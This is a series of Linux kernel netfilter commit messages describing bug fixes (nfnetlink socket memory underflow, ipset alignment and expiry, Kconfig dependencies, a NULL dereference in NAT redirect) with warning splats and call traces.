skbuff clones
If we attach the sk to the skb from nfnetlink_rcv_batch(), then
netlink_skb_destructor() will underflow the socket receive memory
counter and we get warning splat when releasing the socket.
$ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks Drops Inode
ffff8800ca903000 12 0 00000000 -54144 0 0 2 0 17942
^^^^^^
Rmem above shows an underflow.
And here below the warning splat:
[ 1363.815976] WARNING: CPU: 2 PID: 1356 at net/netlink/af_netlink.c:958 netlink_sock_destruct+0x80/0xb9()
[...]
[ 1363.816152] CPU: 2 PID: 1356 Comm: kworker/u16:1 Tainted: G W 4.4.0-rc1+ #153
[ 1363.816155] Hardware name: LENOVO 23259H1/23259H1, BIOS G2ET32WW (1.12 ) 05/30/2012
[ 1363.816160] Workqueue: netns cleanup_net
[ 1363.816163] 0000000000000000 ffff880119203dd0 ffffffff81240204 0000000000000000
[ 1363.816169] ffff880119203e08 ffffffff8104db4b ffffffff813d49a1 ffff8800ca771000
[ 1363.816174] ffffffff81a42b00 0000000000000000 ffff8800c0afe1e0 ffff880119203e18
[ 1363.816179] Call Trace:
[ 1363.816181] <IRQ> [<ffffffff81240204>] dump_stack+0x4e/0x79
[ 1363.816193] [<ffffffff8104db4b>] warn_slowpath_common+0x9a/0xb3
[ 1363.816197] [<ffffffff813d49a1>] ? netlink_sock_destruct+0x80/0xb9
skb->sk was only needed to lookup for the netns, however we don't need
this anymore since 633c9a840d0b ("netfilter: nfnetlink: avoid recurrent
netns lookups in call_batch") so this patch removes this manual socket
assignment to resolve this problem.
Reported-by: Arturo Borrero Gonzalez <arturo.borrero.glez@gmail.com>
Reported-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Tested-by: Arturo Borrero Gonzalez <arturo.borrero.glez@gmail.com>
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|
Pass the net pointer to the call_batch callback functions so we can skip
recurrent lookups.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Tested-by: Arturo Borrero Gonzalez <arturo.borrero.glez@gmail.com>
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Commit 3bfe049807c2403 ("netfilter: nfnetlink_{log,queue}:
Register pernet in first place") reorganised the initialisation
order of the pernet_subsys to avoid "use-before-initialised"
condition. However, in doing so the cleanup logic in nfnetlink_queue
got botched in that the pernet_subsys wasn't cleaned in case
nfnetlink_subsys_register failed. This patch adds the necessary
cleanup routine call.
Fixes: 3bfe049807c2403 ("netfilter: nfnetlink_{log,queue}: Register pernet in first place")
Signed-off-by: Nikolay Borisov <kernel@kyup.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
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|
Several ARM default configurations give us warnings on recent
compilers about potentially uninitialized variables in the
nfnetlink code in two functions:
net/netfilter/nfnetlink_queue.c: In function 'nfqnl_build_packet_message':
net/netfilter/nfnetlink_queue.c:519:19: warning: 'nfnl_ct' may be used uninitialized in this function [-Wmaybe-uninitialized]
if (ct && nfnl_ct->build(skb, ct, ctinfo, NFQA_CT, NFQA_CT_INFO) < 0)
Moving the rcu_dereference(nfnl_ct_hook) call outside of the
conditional code avoids the warning without forcing us to
preinitialize the variable.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Fixes: a4b4766c3ceb ("netfilter: nfnetlink_queue: rename related to nfqueue attaching conntrack info")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
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|
SYNACK packets might be attached to request sockets.
Use skb_to_full_sk() helper to avoid illegal accesses to
inet_sk(skb->sk)
Fixes: ca6fb0651883 ("tcp: attach SYNACK messages to request sockets instead of listener")
Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Sander Eikelenboom <linux@eikelenboom.it>
Acked-by: Julian Anastasov <ja@ssi.bg>
Acked-by: Simon Horman <horms@verge.net.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Pablo Neira Ayuso:
====================
Netfilter fixes for net
The following patchset contains Netfilter fixes for your net tree. This
large batch that includes fixes for ipset, netfilter ingress, nf_tables
dynamic set instantiation and a longstanding Kconfig dependency problem.
More specifically, they are:
1) Add missing check for empty hook list at the ingress hook, from
Florian Westphal.
2) Input and output interface are swapped at the ingress hook,
reported by Patrick McHardy.
3) Resolve ipset extension alignment issues on ARM, patch from Jozsef
Kadlecsik.
4) Fix bit check on bitmap in ipset hash type, also from Jozsef.
5) Release buckets when all entries have expired in ipset hash type,
again from Jozsef.
6) Oneliner to initialize conntrack tuple object in the PPTP helper,
otherwise the conntrack lookup may fail due to random bits in the
structure holes, patch from Anthony Lineham.
7) Silence a bogus gcc warning in nfnetlink_log, from Arnd Bergmann.
8) Fix Kconfig dependency problems with TPROXY, socket and dup, also
from Arnd.
9) Add __netdev_alloc_pcpu_stats() to allow creating percpu counters
from atomic context, this is required by the follow up fix for
nf_tables.
10) Fix crash from the dynamic set expression, we have to add new clone
operation that should be defined when a simple memcpy is not enough.
This resolves a crash when using per-cpu counters with new Patrick
McHardy's flow table nft support.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
|
|
With the conversion of the counter expressions to make it percpu, we
need to clone the percpu memory area, otherwise we crash when using
counters from flow tables.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
Kconfig is too smart for its own good: a Kconfig line that states
select NF_DEFRAG_IPV6 if IP6_NF_IPTABLES
means that if IP6_NF_IPTABLES is set to 'm', then NF_DEFRAG_IPV6 will
also be set to 'm', regardless of the state of the symbol from which
it is selected. When the xt_TEE driver is built-in and nothing else
forces NF_DEFRAG_IPV6 to be built-in, this causes a link-time error:
net/built-in.o: In function `tee_tg6':
net/netfilter/xt_TEE.c:46: undefined reference to `nf_dup_ipv6'
This works around that behavior by changing the dependency to
'if IP6_NF_IPTABLES != n', which is interpreted as boolean expression
rather than a tristate and causes the NF_DEFRAG_IPV6 symbol to
be built-in as well.
The bug only occurs once in thousands of 'randconfig' builds and
does not really impact real users. From inspecting the other
surrounding Kconfig symbols, I am guessing that NETFILTER_XT_TARGET_TPROXY
and NETFILTER_XT_MATCH_SOCKET have the same issue. If not, this
change should still be harmless.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
After a recent (correct) change, gcc started warning about the use
of the 'flags' variable in nfulnl_recv_config()
net/netfilter/nfnetlink_log.c: In function 'nfulnl_recv_config':
net/netfilter/nfnetlink_log.c:320:14: warning: 'flags' may be used uninitialized in this function [-Wmaybe-uninitialized]
net/netfilter/nfnetlink_log.c:828:6: note: 'flags' was declared here
The warning first shows up in ARM s3c2410_defconfig with gcc-4.3 or
higher (including 5.2.1, which is the latest version I checked) I
tried working around it by rearranging the code but had no success
with that.
As a last resort, this initializes the variable to zero, which shuts
up the warning, but means that we don't get a warning if the code
is ever changed in a way that actually causes the variable to be
used without first being written.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Fixes: 8cbc870829ec ("netfilter: nfnetlink_log: validate dependencies to avoid breaking atomicity")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
SYNACK packets might be attached to request sockets.
Fixes: ca6fb0651883 ("tcp: attach SYNACK messages to request sockets instead of listener")
Signed-off-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
|
SYNACK packets might be attached to a request socket,
xt_owner wants to gte the listener in this case.
Fixes: ca6fb0651883 ("tcp: attach SYNACK messages to request sockets instead of listener")
Signed-off-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
|
When all entries are expired/all slots are empty, release the bucket.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
|
|
Incorrect index was used when the data blob was shrinked at expiration,
which could lead to falsely expired entries and memory leak when
the comment extension was used too.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
|
|
The data extensions in ipset lacked the proper memory alignment and
thus could lead to kernel crash on several architectures. Therefore
the structures have been reorganized and alignment attributes added
where needed. The patch was tested on armv7h by Gerhard Wiesinger and
on x86_64, sparc64 by Jozsef Kadlecsik.
Reported-by: Gerhard Wiesinger <lists@wiesinger.com>
Tested-by: Gerhard Wiesinger <lists@wiesinger.com>
Tested-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
|
|
Conflicts:
net/netfilter/xt_TEE.c
Pablo Neira Ayuso says:
====================
Netfilter fixes for net
The following patchset contains Netfilter fixes for your net tree,
they are:
1) Fix crash when TEE target is used with no --oif, from Eric Dumazet.
2) Oneliner to fix a crash on the redirect traffic to localhost
infrastructure when interface has not yet an address, from
Munehisa Kamata.
3) Oneliner not to request module all the time from nfnetlink due to
wrong type value, from Florian Westphal.
I'll make sure these patches 1 and 2 hit -stable.
====================
The conflict in net/netfilter/xt_TEE.c was minor, a change
to the 'oif' selection overlapping a function signature
change for the nf_dup_ipv{4,6}() routines.
Signed-off-by: David S. Miller <davem@davemloft.net>
|
|
nfnetlink_bind request_module()s all the time as nfnetlink_get_subsys()
shifts the argument by 8 to obtain the subsys id.
So using type instead of type << 8 always returns NULL.
Fixes: 03292745b02d11 ("netlink: add nlk->netlink_bind hook for module auto-loading")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
Commit 8b13eddfdf04cbfa561725cfc42d6868fe896f56 ("netfilter: refactor NAT
redirect IPv4 to use it from nf_tables") has introduced a trivial logic
change which can result in the following crash.
BUG: unable to handle kernel NULL pointer dereference at 0000000000000030
IP: [<ffffffffa033002d>] nf_nat_redirect_ipv4+0x2d/0xa0 [nf_nat_redirect]
PGD 3ba662067 PUD 3ba661067 PMD 0
Oops: 0000 [#1] SMP
Modules linked in: ipv6(E) xt_REDIRECT(E) nf_nat_redirect(E) xt_tcpudp(E) iptable_nat(E) nf_conntrack_ipv4(E) nf_defrag_ipv4(E) nf_nat_ipv4(E) nf_nat(E) nf_conntrack(E) ip_tables(E) x_tables(E) binfmt_misc(E) xfs(E) libcrc32c(E) evbug(E) evdev(E) psmouse(E) i2c_piix4(E) i2c_core(E) acpi_cpufreq(E) button(E) ext4(E) crc16(E) jbd2(E) mbcache(E) dm_mirror(E) dm_region_hash(E) dm_log(E) dm_mod(E)
CPU: 0 PID: 2536 Comm: ip Tainted: G E 4.1.7-15.23.amzn1.x86_64 #1
Hardware name: Xen HVM domU, BIOS 4.2.amazon 05/06/2015
task: ffff8800eb438000 ti: ffff8803ba664000 task.ti: ffff8803ba664000
[...]
Call Trace:
<IRQ>
[<ffffffffa0334065>] redirect_tg4+0x15/0x20 [xt_REDIRECT]
[<ffffffffa02e2e99>] ipt_do_table+0x2b9/0x5e1 [ip_tables]
[<ffffffffa0328045>] iptable_nat_do_chain+0x25/0x30 [iptable_nat]
[<ffffffffa031777d>] nf_nat_ipv4_fn+0x13d/0x1f0 [nf_nat_ipv4]
[<ffffffffa0328020>] ? iptable_nat_ipv4_fn+0x20/0x20 [iptable_nat]
[<ffffffffa031785e>] nf_nat_ipv4_in+0x2e/0x90 [nf_nat_ipv4]
[<ffffffffa03280a5>] iptable_nat_ipv4_in+0x15/0x20 [iptable_nat]
[<ffffffff81449137>] nf_iterate+0x57/0x80
[<ffffffff814491f7>] nf_hook_slow+0x97/0x100
[<ffffffff814504d4>] ip_rcv+0x314/0x400
unsigned int
nf_nat_redirect_ipv4(struct sk_buff *skb,
...
{
...
rcu_read_lock();
indev = __in_dev_get_rcu(skb->dev);
if (indev != NULL) {
ifa = indev->ifa_list;
newdst = ifa->ifa_local; <---
}
rcu_read_unlock();
...
}
Before the commit, 'ifa' had been always checked before access. After the
commit, however, it could be accessed even if it's NULL. Interestingly,
this was once fixed in 2003.
http://marc.info/?l=netfilter-devel&m=106668497403047&w=2
In addition to the original one, we have seen the crash when packets that
need to be redirected somehow arrive on an interface which hasn't been
yet fully configured.
This change just reverts the logic to the old behavior to avoid the crash.
Fixes: 8b13eddfdf04 ("netfilter: refactor NAT redirect IPv4 to use it from nf_tables")
Signed-off-by: Munehisa Kamata <kamatam@amazon.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
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